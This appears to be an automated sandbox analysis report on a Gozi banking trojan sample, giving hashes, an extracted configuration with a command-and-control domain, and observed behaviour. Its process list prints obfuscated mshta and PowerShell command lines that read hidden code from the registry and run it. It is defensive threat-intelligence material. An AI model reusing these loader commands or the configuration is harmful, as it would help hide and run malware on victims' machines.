gozi | b6ef9cdf052ba213504c6f867b97d5de32eb1ab419c5e192d06d351c4b3eb88f

Analysis

max time kernel
170s
max time network
176s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
19-10-2023 17:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

988ac9d35c37f6e957a5f292b871325fece89e106d4ac91d61d7ef5cd657ad8a.exe
Size

293KB
MD5

f4596eec21608b69a6410f3c1163f290
SHA1

db1d45bdd0409d95f6d3b6084cad4e6fe90a3436
SHA256

988ac9d35c37f6e957a5f292b871325fece89e106d4ac91d61d7ef5cd657ad8a
SHA512

c8d70e20cb3db7f050a0cb75d9f4ae3099760507eb707951c602f2d2de6adb564f87425153c77cae5b465c5efa7f5b4b13be642f8c95c9e14ed2d007e29e8dce
SSDEEP

3072:IvjRMbYbmYQDtBRd7QuszTc3iHjL1473r49ot:eWYaYQzRhSOuL1ik9o

Score

10^/10

gozi 5050 banker isfb trojan

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

mifrutty.com

Attributes

base_path
/jerry/
build
250260
exe_type
loader
extension
.bob
server_id
50

rsa_pubkey.plain

aes.plain

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

mshta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000\Control Panel\International\Geo\Nation mshta.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000\Control Panel\International\Geo\Nation	mshta.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

988ac9d35c37f6e957a5f292b871325fece89e106d4ac91d61d7ef5cd657ad8a.exepowershell.exe

pid	process
2924	988ac9d35c37f6e957a5f292b871325fece89e106d4ac91d61d7ef5cd657ad8a.exe
2924	988ac9d35c37f6e957a5f292b871325fece89e106d4ac91d61d7ef5cd657ad8a.exe
2660	powershell.exe
2660	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2660 powershell.exe

description	pid	process
Token: SeDebugPrivilege	2660	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

mshta.exe

description	pid	process	target process
PID 5004 wrote to memory of 2660	5004	mshta.exe	powershell.exe
PID 5004 wrote to memory of 2660	5004	mshta.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\988ac9d35c37f6e957a5f292b871325fece89e106d4ac91d61d7ef5cd657ad8a.exe
"C:\Users\Admin\AppData\Local\Temp\988ac9d35c37f6e957a5f292b871325fece89e106d4ac91d61d7ef5cd657ad8a.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2924

C:\Windows\System32\mshta.exe
"C:\Windows\System32\mshta.exe" "about:<hta:application><script>Xpsx='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Xpsx).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\5C68964F-0BE8-EE1D-7550-6F0279841356\\\MaskControl'));if(!window.flag)close()</script>"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5004

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name tgadskdw -value gp; new-alias -name bpfdyhpgy -value iex; bpfdyhpgy ([System.Text.Encoding]::ASCII.GetString((tgadskdw "HKCU:Software\AppDataLow\Software\Microsoft\5C68964F-0BE8-EE1D-7550-6F0279841356").PlaySystem))
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2660

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4lv1nzdn.vc0.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2660-41-0x00007FFCBB780000-0x00007FFCBC241000-memory.dmp

Filesize
10.8MB

Download
memory/2660-37-0x0000026222120000-0x0000026222130000-memory.dmp

Filesize
64KB

Download
memory/2660-36-0x0000026222120000-0x0000026222130000-memory.dmp

Filesize
64KB

Download
memory/2660-35-0x0000026222120000-0x0000026222130000-memory.dmp

Filesize
64KB

Download
memory/2660-34-0x00007FFCBB780000-0x00007FFCBC241000-memory.dmp

Filesize
10.8MB

Download
memory/2660-24-0x00000262220F0000-0x0000026222112000-memory.dmp

Filesize
136KB

Download
memory/2924-5-0x0000000002290000-0x0000000002390000-memory.dmp

Filesize
1024KB

Download
memory/2924-11-0x0000000000400000-0x000000000228F000-memory.dmp

Filesize
30.6MB

Download
memory/2924-8-0x0000000004030000-0x000000000403D000-memory.dmp

Filesize
52KB

Download
memory/2924-7-0x0000000000400000-0x000000000228F000-memory.dmp

Filesize
30.6MB

Download
memory/2924-6-0x0000000003FD0000-0x0000000003FDB000-memory.dmp

Filesize
44KB

Download
memory/2924-1-0x0000000002290000-0x0000000002390000-memory.dmp

Filesize
1024KB

Download
memory/2924-4-0x0000000000400000-0x000000000228F000-memory.dmp

Filesize
30.6MB

Download
memory/2924-3-0x0000000000400000-0x000000000228F000-memory.dmp

Filesize
30.6MB

Download
memory/2924-2-0x0000000003FD0000-0x0000000003FDB000-memory.dmp

Filesize
44KB

Download